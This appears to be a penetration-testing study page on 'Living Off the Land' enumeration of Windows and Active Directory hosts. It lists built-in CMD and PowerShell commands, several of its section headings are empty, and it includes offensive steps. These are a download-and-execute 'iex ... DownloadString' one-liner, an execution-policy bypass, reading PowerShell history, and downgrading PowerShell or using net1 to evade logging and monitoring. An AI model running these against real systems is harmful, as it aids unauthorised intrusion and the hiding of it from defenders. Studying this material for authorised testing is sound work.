githubEdit

13. Living Off the Land

Key Concepts:

  • Stealth: Using built-in tools reduces the risk of detection.

  • Limited Resources: Assumes a managed host with no internet access or ability to upload tools.

  • Log Evasion: Techniques like downgrading PowerShell are explored.


1. Basic Enumeration Commands (CMD)

hostname                          # Prints the PC's name
[System.Environment]::OSVersion.Version  # Prints the OS version
wmic qfe get Caption,Description,HotFixID,InstalledOn  # Prints installed patches
ipconfig /all                     # Displays network adapter configurations
set                                # Lists environment variables
echo %USERDOMAIN%                  # Displays the domain name
echo %logonserver%                 # Prints the domain controller name
systeminfo                         # Provides a summary of host information

2. PowerShell Enumeration

Get-Module                          # Lists loaded modules
Get-ExecutionPolicy -List           # Prints execution policy settings
Set-ExecutionPolicy Bypass -Scope Process  # Bypasses execution policy for the current process
Get-ChildItem Env: | ft Key,Value    # Returns environment variables
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt  # Retrieves PowerShell history
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'); <commands>"  # Downloads and executes a file from a URL
powershell.exe -version 2           # Downgrades PowerShell to version 2
Get-MpComputerStatus                # Retrieves Windows Defender status
qwinsta                              # Lists active sessions

3. Network Enumeration


4. Windows Management Instrumentation (WMI)


5. Net Commands


6. Dsquery Enumeration


Key Takeaways

  • Windows provides numerous built-in tools for AD enumeration.

  • PowerShell is a powerful tool for both host and network reconnaissance.

  • WMI and net commands offer extensive domain information.

  • Dsquery is extremely useful for querying Active Directory.

  • Downgrading PowerShell can hinder logging.

  • net1 can be used to bypass some monitoring systems.

Last updated